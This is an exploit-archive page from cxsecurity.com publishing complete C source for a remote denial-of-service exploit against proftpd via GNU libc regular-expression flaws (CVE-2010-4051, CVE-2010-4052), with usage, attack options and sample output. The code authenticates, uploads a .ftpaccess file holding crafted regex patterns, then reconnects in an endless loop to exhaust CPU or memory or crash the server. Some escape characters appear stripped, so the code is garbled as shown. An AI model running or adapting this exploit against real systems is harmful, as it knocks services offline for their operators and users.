proftpd multiple exploit for VU#912279 (only with GNU libc/regcomp(3))

Published
Credit
Risk
2011.01.07
Maksymilian Arciemowicz
High
CWE
CVE
Local
Remote
N/A
CVE-2010-4051
CVE-2010-4052
No
Yes

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/*

proftpd multiple exploit for VU#912279 (only with GNU libc/regcomp(3))
by Maksymilian Arciemowicz

References:
http://www.kb.cert.org/vuls/id/912279
http://cxib.net/

Tested:
Ubuntu + proftpd

This exploit need writing privileges to create .ftpaccess file with vulnerable regular expressions. Works well only under Linux

172.16.124.1 - NetBSD 5.1 (HACKER)
172.16.124.134 - Ubuntu 10.10 (TARGET)

PoC1:
.exitcx@cx64:~/advs/done$ ./reg1 172.16.124.134 21 cx password 172.16.124.1 1

Try create .ftpaccess with HideFiles "(.ftpaccess|(.*{10,}{10,}{10,}{10,}))$"
...
send: stat .

send: USER cx
PASS password

send: stat .

Can`t connect
.exit
cx@cx64:~/advs/done$ telnet 172.16.124.134 21
Trying 172.16.124.134...
telnet: Unable to connect to remote host: Connection refused

Resume:
- created .ftpaccess file, and connect<=>disconnect
It will create a lot of proftpd children with 100% CPU usage.


If we try

./reg1 172.16.124.134 21 cx password 172.16.124.1 3

any proftpd children will generate memory exhausion

Options:
1 - cpu resource exhausion
2 - crash (recursion)
3 - memory resource exhausion
4 - possible crash with (ulimit {-v|-m})

*/


char expl0[]="HideFiles "(\.ftpaccess|(.*{10,}{10,}{10,}{10,}))$""; //CVE-2010-4052 Long execution
char expl1[]="HideFiles "(\.ftpaccess|(.*{10,}{10,}{10,}{10,}{10,}))$""; //CVE-2010-4051 Crash
char expl2[]="HideFiles "(.*+++++++++++++++++++++++++++++(\w+))""; // memory exhausion
char expl3[]="HideFiles "(.*++++++++++++++++++++++++++++++(\w+))""; // if virtual memory limited, crash

int sendftp(int stream,char *what){
if(-1==send(stream,what,strlen(what),0))
printf("Can't send %sn",what);
else
printf("send: %sn",what);

bzero(what,sizeof(what));
}

void readftp(int stream,int flag){
if(flag==1) flag=MSG_DONTWAIT;
else flag=0;
char *readline=malloc(sizeof(char)*(4096+1));
memset(readline,'x00',(4096+1));
if(recv(stream,readline,4096,flag)<1){
printf("Can't read from streamn");
if(readline) free(readline);
close(stream);
exit(1);
}
else{
if(readline)
write(1, readline, strlen(readline));
fflush(stdout);
}
free(readline);
}


int attack(host,port,login,pass)
char *host,*port,*login,*pass;
{
char buffer[1024]; // send ftp command buffor
int sockfd,n,error;
struct addrinfo hints;
struct addrinfo *res, *res0;

memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
error = getaddrinfo(host,port,&hints,&res0);

if (error){
errorcon:
printf("Can`t connectn.exit");
exit(1);
}

if((sockfd=socket(res0->ai_family,res0->ai_socktype,res0->ai_protocol))<0) goto errorcon;
if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;

snprintf(buffer,1024,"USER %snPASS %sn",login,pass);
sendftp(sockfd,buffer);

bzero(buffer,1024);
snprintf(buffer,1024,"STAT .n");
sendftp(sockfd,buffer);

freeaddrinfo(res0);
close(sockfd);
}

void exploreip(char *ip, int (*ipnum)[4]){
char *wsk;

wsk=(char *)strtok(ip,".");
(*ipnum)[0]=atoi(wsk);
wsk=(char *)strtok(NULL,".");
(*ipnum)[1]=atoi(wsk);
wsk=(char *)strtok(NULL,".");
(*ipnum)[2]=atoi(wsk);
wsk=(char *)strtok(NULL,".");
(*ipnum)[3]=atoi(wsk);
}


int createexpl(host,port,login,pass,lip,pattern)
char *host,*port,*login,*pass,*lip,*pattern;
{
char buffer[1024]; // send ftp command buffor
int ipnum[4];

int sockfd,n,error,sendstream,binarystream,sendport = (1024 + getpid());

struct addrinfo hints;
struct addrinfo *res, *res0;
struct sockaddr_in remo, loca;

int len = sizeof(remo);

memset(&hints, 0, sizeof(hints));
hints.ai_family = PF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
error = getaddrinfo(host,port,&hints,&res0);

if (error){
errorcon:

if(sendstream) close(sendstream);
printf("Can`t connectn.exit");
exit(1);
}

if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0) goto errorcon;
if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;

readftp(sockfd,1024);
snprintf(buffer,1024,"USER %snPASS %sn",login,pass);
sendftp(sockfd,buffer);
readftp(sockfd,1024);
readftp(sockfd,1024);

exploreip(lip,&ipnum);
snprintf(buffer,1024,"TYPE InPORT %d,%d,%d,%d,%d,%dn",ipnum[0],ipnum[1],ipnum[2],ipnum[3],sendport/256,sendport%256);
sendftp(sockfd,buffer);
readftp(sockfd,1024);

bzero(&loca, sizeof(loca));
loca.sin_family = AF_INET;
loca.sin_port=htons(sendport);
loca.sin_addr.s_addr = htonl(INADDR_ANY);

if((sendstream=socket(AF_INET, SOCK_STREAM,0))<0) goto errorcon;
if((bind(sendstream, (struct sockaddr *) &loca, sizeof(loca)))<0) goto errorcon;
if(listen(sendstream, 10) < 0) goto errorcon;

snprintf(buffer,1024,"STOR .ftpaccessn");
sendftp(sockfd,buffer);

readftp(sockfd,1024);

if((binarystream=accept(sendstream,(struct sockaddr *)&remo,&len)) < 0) goto errorcon;
write(binarystream,pattern,strlen(pattern));

freeaddrinfo(res0);
close(sendstream);
printf("Created .ftpaccess file with %snIt`s time to attack...n",pattern);
sleep(3);

return 0;
}

void usage(){
printf("Use: ./exploit target_ip port username password [your_ip] [option]nnCreate .ftpaccess with selected attacknoptions:n1 - Long execution CVE-2010-4052n2 - Recursion Crash CVE-2010-4051n3 - Memory exhausion n4 - Crash if virtual memory limitednn");
exit(1);
}

int main(int argc,char *argv[])
{

char *login,*pass,*lip=NULL;
char logindef[]="anonymous",passdef[]="cx@127.0.0.1";

printf("This is exploit for ERE (GNU libc)nby Maksymilian Arciemowicznn");

if(argc<3) usage();

char *host=argv[1];
char *port=argv[2];

if(4<=argc) login=argv[3];
else login=logindef;

if(5<=argc) pass=argv[4];
else pass=passdef;

if(6<=argc) lip=argv[5];

if(7<=argc) switch(atoi(argv[6])){
case 1:
printf("Try create .ftpaccess with %snn",expl0);
createexpl(host,port,login,pass,lip,expl0);
break;

case 2:
printf("Try create .ftpaccess with %snn",expl1);
createexpl(host,port,login,pass,lip,expl1);
break;

case 3:
printf("Try create .ftpaccess with %snn",expl2);
createexpl(host,port,login,pass,lip,expl2);
break;

case 4:
printf("Try create .ftpaccess with %snn",expl3);
createexpl(host,port,login,pass,lip,expl3);
break;

default:
usage();
break;
};

while(1) attack(host,port,login,pass);

return 0; // never happen
}

References:

http://cxsecurity.com/issue/WLB-2011110082
http://cxsecurity.com/issue/WLB-2011010121
http://www.kb.cert.org/vuls/id/912279


See this note in RAW Version

 
Bugtraq RSS
Bugtraq
 
CVE RSS
CVEMAP
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn


Copyright 2017, cxsecurity.com